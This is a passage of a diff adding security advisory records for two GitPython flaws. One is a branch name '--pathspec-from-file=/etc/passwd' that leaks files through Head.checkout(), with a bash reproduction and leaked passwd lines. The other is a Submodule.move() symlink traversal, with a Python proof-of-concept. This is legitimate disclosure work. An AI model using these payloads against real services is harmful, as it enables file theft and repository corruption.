consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n> \"The audit also found that **reset's positional commit could carry the option before its argument\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`<= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\n \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n options = [\n option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n if not allow_unsafe_options:\n Git.check_unsafe_options(\n options=Git._option_candidates([], kwargs),\n unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n )\n kwargs[\"f\"] = force\n if kwargs[\"f\"] is False:\n kwargs.pop(\"f\")\n\n self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0 stderr=''\n => un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n>>> git -C update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n exit=0 stderr=''\n>>> git -C symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n exit=0\n HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n ref en disco como arbol jerarquico: True\n\n>>> Repo.clone_from('file://', ) # la app solo clona\n ramas LOCALES creadas por el clone, sin que nadie las pida:\n refs/heads/--pathspec-from-file=/etc/passwd\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n self.stderr = stderr_decode and \"\\n stderr: '%s'\" % stderr_decode or \"\"\n\n def __str__(self) -> str:\n return (self._msg + \"\\n cmdline: %s%s%s\") % (\n self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from()\n ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n ↓ git clone creates that LOCAL branch unasked\nrepo.active_branch → Head with name = \"--pathspec-from-file=/etc/passwd\"\n ↓\nHead.checkout() git/refs/head.py:286 — guard inspects kwargs only\n ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n ↓ git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat > \"$W/consumer.py\" <<'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL\n repo.active_branch.checkout() # ensure a clean working tree\nexcept git.exc.GitCommandError:\n logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- `, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2233" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110860.json b/advisories/BREW-mistral-vibe-CVE-2026-110860.json new file mode 100644 index 00000000000..787802396a3 --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110860.json @@ -0,0 +1,75 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110860", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-gq48-pqfc-9p58", + "CVE-2026-110860" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree", + "details": "## Summary\n\nGitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule's content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n *args: str, cwd: Optional[Path] = None, check: bool = True\n) -> subprocess.CompletedProcess:\n command = [\n \"git\",\n \"-c\",\n \"user.name=GitPython security fixture\",\n \"-c\",\n \"user.email=fixture@example.invalid\",\n \"-c\",\n \"protocol.file.allow=always\",\n *args,\n ]\n return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -> str:\n module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -> str:\n modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n return parent.git.config(\n \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n )\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n parser.add_argument(\n \"--absolute-link\",\n action=\"store_true\",\n help=(\n \"Use the temporary external directory's absolute path as the committed \"\n \"symlink target\"\n ),\n )\n args = parser.parse_args()\n\n source_root = args.source_root.resolve()\n # The tested GitPython source trees include gitdb and smmap at their roots.\n sys.path[:0] = [\n str(source_root),\n str(source_root / \"gitdb\"),\n str(source_root / \"smmap\"),\n ]\n import gitdb # pylint: disable=import-outside-toplevel\n import smmap # pylint: disable=import-outside-toplevel\n from git import Repo # pylint: disable=import-outside-toplevel\n\n with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n root = Path(temporary)\n module_source = root / \"module-source\"\n attacker = root / \"attacker-parent\"\n victim = root / \"victim-parent\"\n outside = root / \"outside\"\n\n run_git(\"init\", \"--quiet\", str(module_source))\n (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n )\n run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n outside.mkdir()\n run_git(\"init\", \"--quiet\", str(attacker))\n run_git(\n \"submodule\",\n \"add\",\n \"--quiet\",\n \"--name\",\n \"logical-name\",\n str(module_source),\n \"module\",\n cwd=attacker,\n )\n link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n parent = Repo(victim)\n submodule = parent.submodule(\"logical-name\")\n before = {\n \"status\": parent.git.status(\"--porcelain\"),\n \"write_tree\": parent.git.write_tree(),\n \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"module_core_worktree\": read_core_worktree(parent),\n }\n\n error = None\n try:\n submodule.move(\n \"vendor/module\"\n ) # Fixed application value; attacker does not control it.\n # Capture the exact type and text so a patched rejection remains visible.\n except Exception as exception:\n error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n write_tree = None\n write_tree_error = None\n try:\n write_tree = parent.git.write_tree()\n except Exception as exception:\n write_tree_error = {\n \"type\": type(exception).__name__,\n \"message\": str(exception),\n }\n\n result = {\n \"imported_modules\": {\n \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n \"gitdb\": str(Path(gitdb.__file__).resolve()),\n \"smmap\": str(Path(smmap.__file__).resolve()),\n },\n \"committed_symlink_target\": link_target,\n \"before\": before,\n \"call_error\": error,\n \"after\": {\n \"status\": parent.git.status(\"--porcelain\"),\n \"source_canary\": (\n victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"submodule_path\": submodule.path,\n \"module_core_worktree\": read_core_worktree(parent),\n \"write_tree\": write_tree,\n \"write_tree_error\": write_tree_error,\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n parent.close()\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path 'vendor/module' contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves 